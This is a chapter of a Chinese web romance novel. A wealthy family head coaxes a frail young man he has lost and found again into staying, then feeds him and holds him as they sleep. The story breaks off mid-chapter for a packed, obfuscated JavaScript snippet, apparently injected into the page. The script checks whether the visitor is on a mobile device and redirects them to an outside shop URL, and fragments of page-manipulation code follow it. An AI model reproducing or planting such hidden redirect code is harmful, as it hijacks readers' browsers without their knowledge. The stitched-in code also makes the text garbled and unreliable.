11. 吃软不吃硬

作品:《万人迷病美人陷入豪门修罗场

    面对池砚书的咄咄反驳,祁星澜整个人都碎了。


    他若是会喷火,此时能烧了整座海城也说不定。


    祁星澜一直很好奇,池砚书是怎么做到那样云淡风把他怼得哑口无言的。


    偏偏又打不得骂不得。


    这些天,他很想问,失踪的这段时间,池砚书去了哪。


    他想问,半年前到底发生了什么。


    他想问,为什么不来找他。


    他想问,为什么叫他祁先生,跟他说谢谢。


    他还想问,这一年里有没有哪怕一刻想起过他……


    可……祁星澜看了看少年苍白不已的脸,心中酸涩难捱。


    床上的人接连生病昏迷,身体实在虚弱,他怎么忍心在这种时候还要给对方增加心理压力。


    情绪是影响身体的一大要素。他压下心中翻涌的情绪,告诉自己,他的小少爷身体不好,不能施加压力。不能。


    况且对方不肯配合也问不出个一二三来,只能循序渐进。


    先想办法找个理由把人稳住,等池礼回来再用感情牌慢慢磨。


    祁星澜心中有了主意,煞有其事地一手扶额一手捂胸口。


    “我带你回来、给你找医生、守在床边照顾你几天几夜。”


    “我现在感觉头疼、胸口疼、呼吸困难还浑身难受。”


    池砚书抿了抿发白的唇:“那,你要怎么样?”


    祁星澜见主动权到了自己手里,巴不得给几分钟前的自己几个巴掌,怎么脑子一糊涂连他宝贝吃软不吃硬都忘了。


    他垂下头装深沉,实则暗暗得意地扬了扬嘴角。再抬起头又是一副正经样子:“其实,我有件事要你帮忙。”


    “我前几天算过命,算命的说了,我八字过硬,要找个身弱的人陪在身边,不然一年内必有血光之灾。”


    “池晚晚,俗话说救人一命胜造七级浮屠……”


    祁星澜语速不减,声情并茂,越来越沉浸在自己创造的剧本里,与传闻中冷厉淡漠的祁家主并不相似。


    池砚书无语凝噎。身弱又不是身体弱,况且,祁星澜比谁都清楚他的八字。


    他算是听出来了,狗屁的算命,祁星澜来回兜圈子就是想留下他。


    为什么?


    当初不是不见他吗,还……


    现在绕这么大圈子非要留下他又是闹哪样?


    他看着男人沉浸的演出,一点都不惊讶,毕竟在池家的时候,祁星澜经常用这一招。


    “少来。”


    习惯比思维更快,甚至下意识瞪去的一眼都没控制住,连刻意疏离的面具都还来不及戴上。


    恨自己嘴快的池砚书:“……”


    祁星澜闻言低声笑了。


    这是他这些天来,从池砚书口中听到的唯一一句有人气的话。


    他好像又看到以前那个依赖他、跟他闹脾气的池小少爷了。


    “这么聪明?”


    方才的虚弱消失不见,转而带着很强的侵略气息凑近,眼神危险地盯着他,像在看一块肥美可口的肉。


    “那也没用。”


    祁星澜贴近池砚书的耳边,轻声笑着逗他: “池晚晚,掉进了狼窝,就别想着跑了。”


    “你、跑、不、掉、了。”


    池砚书不是傻子,前几天的迂回追逐不过是权势至高的狼王纵容底下弱狼崽子闹脾气的游戏罢了,现在狼王失去耐心了,不会再听他的拒绝,以祁星澜如今的权势,他逃到天涯海角都会被捉回来。


    他走不掉了。


    而且……绑匪口中提到了祁星澜……说不定留在祁家真能发现点什么……


    反正顶多就是个死。


    他心中有了打算,索性放弃无畏抵抗:“好,不过我要回去拿一下东西,退房子。”


    “什么东西?想要什么我给你找来,别折腾一趟了,你需要休养。”


    “不行,很重要。”


    “那我去取。”


    “不用。”


    话音刚落,敲门声规律地响起。


    “进。”祁星澜敛了笑。


    “大少爷,宋家来访。”管家道。


    “拒了。”


    “是。”


    “叫人做点稀粥,别放姜、蒜、辣椒,淡油淡盐。榨杯鲜果汁,要热的。”祁星澜递过去一张纸,“这些食材以后不要采购。”


    “现有的全部处理掉,不准出现在餐桌上。”


    “是,我这就去办。”管家心中好奇却也不敢瞥向床上的人,接过纸便退出房间。


    “你好好休息,我去换件衣服。”祁星澜扶着池砚书躺下后便大步离开,不忘关上房门。


    那轻快的脚步,活像打了胜仗,很难想象这人在几分钟前捂着胸口仿佛随时要夭折一般。


    而躺下的池砚书想到管家口中提到的“宋家”,心中酸涩,疲惫地闭上眼。


    -


    浴室内蒸汽弥漫,祁星澜闭上眼睛,感受着水的温度,热水流过锋利深邃的五官,与夺眶而出的液体混杂着滚过饱满雄壮的肌肉线条滴砸在地。


    他笑着呼出一口气,刮掉杂乱的胡茬,仔细擦洗着身上每一处。


    一年来,他是第一次洗这样漫长且大动干戈的澡。


    洗好后,他精心挑选出一件黑色衬衫穿在身上,其面料拥有极佳的垂感和质地,衬衫的剪裁简洁而不失精致,领口设计的恰到好处,既不过于绷紧也不过分宽松,衬出修长的脖颈和清晰的下颌线条。


    他带了一块最合心意的表,还不忘骚包地抓了个发型,喷上香水,照了照镜子,这才满意。


    祁家主破天荒地踏进厨房圣地,亲自将做好的餐食端起,在众人惊异的目光下,像只打了胜仗的骄傲大公鸡,昂首扩胸地健步走向二楼。


    “管家,我没看错吧,那是家主?”


    “自信点,把‘吧’去掉,你没看错。”管家想起池小少爷失踪后大少爷的疯魔模样,无声叹了口气。


    大少爷终于活过来了。


    卧室内。


    池砚书正闭目养神。


    ——咚咚咚。


    一阵轻缓规律的敲门声传来。


    “请进。”


    门开后,扑面而来的是熟悉的菜香味。


    祁星澜端着餐盘放到床头,举止间优雅四溢。


    池砚书看了他一会,没忍住:“你要出门?”


    “不出。”


    男人浑身上下精致到头发丝的程度,真就差镶钻了。


    池砚书:“……”


    祁星澜握拳掩唇,矜持道:“咳……身上太脏,随便洗了洗。”


    少年一脸复杂,欲言又止,最后选择闭嘴。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114129|195899||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>祁星澜不禁开始怀疑自己的颜值。


    他气质不行?


    或者,衣服不搭?


    难道是……这几天把脸熬憔悴了?


    顿时蔫了,像是一簇快熄灭的小火苗。


    目视男人在短短半分钟之内就变换多次脸色的池砚书,无奈叹道:“挺精神的。”


    祁星澜又燃起来了。


    餐盘内的菜色清淡健□□滚鲜虾粥,清炒菜心、鲜榨热橙汁。


    祁星澜端起粥作势要喂。


    池砚书额间一跳:“你要做什么。”


    对方理所应当道:“喂你吃饭。”


    “我可以自己吃。”


    “不行,你没力气。”


    “我……”他还想反驳,嘴里就被送进一勺温度适宜的粥。


    咸淡刚好,鲜香扑鼻。


    池砚书吃得满足,眼睛都忍不住弯了些,祁星澜反倒垂下眼眸,沉默了。


    金尊玉贵的小少爷身体差,向来吃不下太多东西,任多少山珍海味进了嘴里都变得寡淡无味,曾经在池家,多少厨师变着花样做多少珍稀佳肴都换不来小少爷一句“味道不错”,往往都是他哄着骗着才能多吃两口。


    如今不过是这样普通的食物,就能让他满足至此。


    祁星澜搅了搅粥,一口粥一口菜地喂着,默不作声。


    池砚书问:“现在什么时间了?”


    “晚上七点。”


    又是一阵寂静。


    男人眼下乌青一片令人无法忽视。


    池砚书心中恍若天人交战。


    他看起来不像装的……可是……不……我不能心软。


    一方面因祁星澜与过往无二的无微不至而心中动容,另一方面又因那些难以回想的经历而痛苦。


    最后,他还是问道:“你没睡好吗。”


    男人不说话。


    “我吃好了,你去休息吧。”


    “行。”答应得格外痛快。


    池砚书颇感意外,谁知下一刻,便感到身后床上微微下陷,他被搂进一个怀抱。


    他动了动:“你怎么——”


    “别动。让我抱抱,就一会儿。”


    祁星澜喃喃着把头埋进池砚书的颈窝,他双臂有力,箍得很紧,吸着少年身上独有的香气,安心和喜悦使心灵得到彻底的满足和放松。


    他此刻还有些不真实感,珍宝失而复得太过难得,唯恐是美梦一场,唯有时刻抱在怀里,需要反复确认才能安心。


    不知是困极累极,还是绷紧的弦终于放松,没一会就睡沉了。


    祁星澜这些年睡眠少得可怜。


    最初为了稳定势力、坐稳家主之位,日熬夜也熬,挤不出时间。


    后来,有了再多的时间他也不敢睡。只要一睡着,他就会梦见满身都是血的池砚书倒在地上奄奄一息,冲他喊澜哥哥。


    自池砚书失踪以来这是第一次,祁星澜睡眠安稳,一夜无梦。


    而池砚书听着身后人均匀的呼吸,感受着喷洒在他脖颈的热气,也不再挣扎。他身体还有些虚,祁星澜体温炽热,将他四肢百骸都暖透。


    对祁星澜的下意识依赖和亲近是刻进年轮、深入骨髓的。他无法违抗本能去排斥。


    无法抗拒的安心感铺满心底,身体完全放松,他闭上眼,慢慢地,也跟着睡着了。